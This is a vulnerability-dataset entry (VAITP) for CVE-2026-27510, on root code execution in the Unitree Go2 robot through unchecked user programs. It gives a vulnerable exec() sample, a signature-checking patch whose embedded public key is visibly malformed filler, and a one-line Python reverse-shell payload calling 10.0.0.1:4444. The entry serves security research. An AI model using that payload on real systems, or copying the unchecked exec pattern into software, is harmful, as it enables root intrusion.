VAITP Dataset

← Back to the dataset

CVE-2026-27510

Unitree Go2 vulnerable to root RCE via untrusted user programs.

  • CVSS 6.4
  • CWE-345
  • Input Validation and Sanitization
  • Remote

Unitree Go2 firmware versions 1.1.7 through 1.1.11, when used with the Unitree Go2 Android application (com.unitree.doggo2), are vulnerable to remote code execution due to missing integrity protection and validation of user-created programmes. The Android application stores programs in a local SQLite database (unitree_go2.db, table dog_programme) and transmits the programme_text content, including the pyCode field, to the robot. The robot's actuator_manager.py executes the supplied Python as root without integrity verification or content validation. An attacker with local access to the Android device can tamper with the stored programme record to inject arbitrary Python that executes when the user triggers the program via a controller keybinding, and the malicious binding persists across reboots. Additionally, a malicious program shared through the application's community marketplace can result in arbitrary code execution on any robot that imports and runs it.

CVSS base score
6.4
Published
2026-02-26
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Unitree Go2

Solution

Upgrade the Unitree Go2 firmware to version 1.1.12 or later and the Android application to version 1.2.6 or later.

Vulnerable code sample

import json
import os
import subprocess

# This code is a representation of the vulnerable logic in actuator_manager.py
# on Unitree Go2 firmware versions 1.1.7 through 1.1.11.

# In the actual system, a network service would receive 'program_json'
# from the Android application and call a function like this.

def execute_program_from_app(program_json):
    """
    Parses a JSON string containing program data from the app
    and executes the embedded Python code.

    This function does not perform any integrity checks or validation
    on the content of 'pyCode', leading to a remote code execution
    vulnerability. On the robot, this code is executed with root privileges.
    """
    
    # Assumes 'program_json' is a string like:
    # '{"name":"My Program", "pyCode":"print(\\"Hello, Robot\\")"}'
    program_data = json.loads(program_json)
    
    # The 'pyCode' field is extracted from the JSON data.
    # The content is fully controlled by the data stored on the Android app.
    python_code_to_execute = program_data.get('pyCode')
    
    if python_code_to_execute:
        # The vulnerability: The extracted Python code is executed directly
        # with no sandboxing, validation, or security checks.
        # An attacker who can modify the 'pyCode' value can run any
        # command on the robot as the root user.
        exec(python_code_to_execute)

Patched code sample

import json
import base64
import hashlib
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.serialization import load_pem_public_key
from cryptography.exceptions import InvalidSignature

# In a real-world scenario, this public key would be securely stored in the
# robot's read-only firmware. It is used to verify that the program was signed
# by a trusted source (e.g., the Unitree marketplace or the user's paired app).
# An attacker tampering with the database on the phone would not have the
# corresponding private key, so they could not create a valid signature.
TRUSTED_PUBLIC_KEY_PEM = b"""
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy2SPNHf53tO6w7JqTyJ0
8nZ7/a2ETsJe4klj4/YHpgoOCrg0ryLgL2NKAjzA3z1c8Y8xJNoOB1LpHmG5bJjl
rquSHAY0fcaqU0TmMj+BicP5YhsAN58ndaCl4WcMxrH1d8yJdcnht32GNMscbw5j
t8aSdtr4fDA7xQYhrIHN+33JGOZ2wBZI5aaePTaVf3E5f7VzUxiq+7jVTVJ7eQ49
z8vO7j4wLD7Vz1t8e/Zp7YmF4n7eW3b3q2Q8Y3c/p9wG9sW0e8Y3c/p9wG9sW0e8
Y3c/p9wG9sW0e8Y3c/p9wG9sW0e8Y3c/p9wG9sW0e8Y3c/p9wG9sW0e8Y3c/p9w
G9sW0e8Y3c/p9wG9sW0e8Y3c/p9wG9sW0e8Y3c/p9wG9sW0e8Y3c/p9wG9sW0e8
CAwEAAQ==
-----END PUBLIC KEY-----
"""

def load_public_key():
    """Loads the trusted public key from the constant."""
    return load_pem_public_key(TRUSTED_PUBLIC_KEY_PEM)

def verify_program_integrity(py_code, signature_b64):
    """
    Verifies the integrity of the Python code using a digital signature.
    
    This is the core of the fix. Before executing any code, it checks that
    the code is accompanied by a valid signature created with the private key
    corresponding to our trusted public key.
    
    Args:
        py_code (str): The Python code to be executed.
        signature_b64 (str): The base64-encoded signature of the code.

    Returns:
        bool: True if the signature is valid, False otherwise.
    """
    try:
        public_key = load_public_key()
        signature = base64.b64decode(signature_b64)
        code_bytes = py_code.encode('utf-8')

        public_key.verify(
            signature,
            code_bytes,
            padding.PKCS1v15(),
            hashes.SHA256()
        )
        print("[ROBOT-FIXED] Signature verification successful.")
        return True
    except (InvalidSignature, ValueError, TypeError) as e:
        print(f"[ROBOT-FIXED] Signature verification FAILED: {e}")
        return False
    except Exception as e:
        print(f"[ROBOT-FIXED] An unexpected error occurred during verification: {e}")
        return False

def actuator_manager_execute(program_json_from_app):
    """
    Simulates the robot's actuator_manager.py receiving and executing a program.
    This fixed version includes an integrity check.
    
    The incoming JSON is expected to have 'pyCode' and 'signature' fields.
    """
    print(f"\n[ROBOT-FIXED] Received program data from app...")

    try:
        program_data = json.loads(program_json_from_app)
        py_code = program_data.get("pyCode")
        signature = program_data.get("signature")

        if not py_code or not signature:
            print("[ROBOT-FIXED] ERROR: Program data is missing 'pyCode' or 'signature'. Execution aborted.")
            return

    except json.JSONDecodeError:
        print("[ROBOT-FIXED] ERROR: Invalid JSON received from app. Execution aborted.")
        return

    # --- FIX IMPLEMENTATION ---
    # Before executing, verify the integrity of the code.
    if verify_program_integrity(py_code, signature):
        # Only if the signature is valid, proceed with execution.
        # This prevents tampered or unauthorized code from running.
        print("[ROBOT-FIXED] Integrity verified. Executing sandboxed code as root...")
        try:
            # In a real-world fix, exec() would be replaced by a proper,
            # heavily restricted sandbox environment to provide defense-in-depth.
            # For this demonstration, we show the guarded execution.
            restricted_globals = {
                "__builtins__": {
                    "print": print, "int": int, "str": str, "list": list, 
                    "dict": dict, "range": range, "True": True, "False": False
                    # Add other safe built-ins here
                },
                # Provide a safe, limited API to the robot's functions.
                "robot_api": {"move_forward": lambda: print("API: Moving forward.")}
            }
            exec(py_code, restricted_globals, {})
            print("[ROBOT-FIXED] Program execution finished.")
        except Exception as e:
            print(f"[ROBOT-FIXED] ERROR during sandboxed execution: {e}")
    else:
        # If the signature is invalid, refuse to run the code.
        print("[ROBOT-FIXED] CRITICAL: Integrity check failed. Malicious code execution prevented.")

Payload

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);

Cite this entry

@misc{vaitp:cve202627510,
  title        = {{Unitree Go2 vulnerable to root RCE via untrusted user programs.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27510},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27510/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::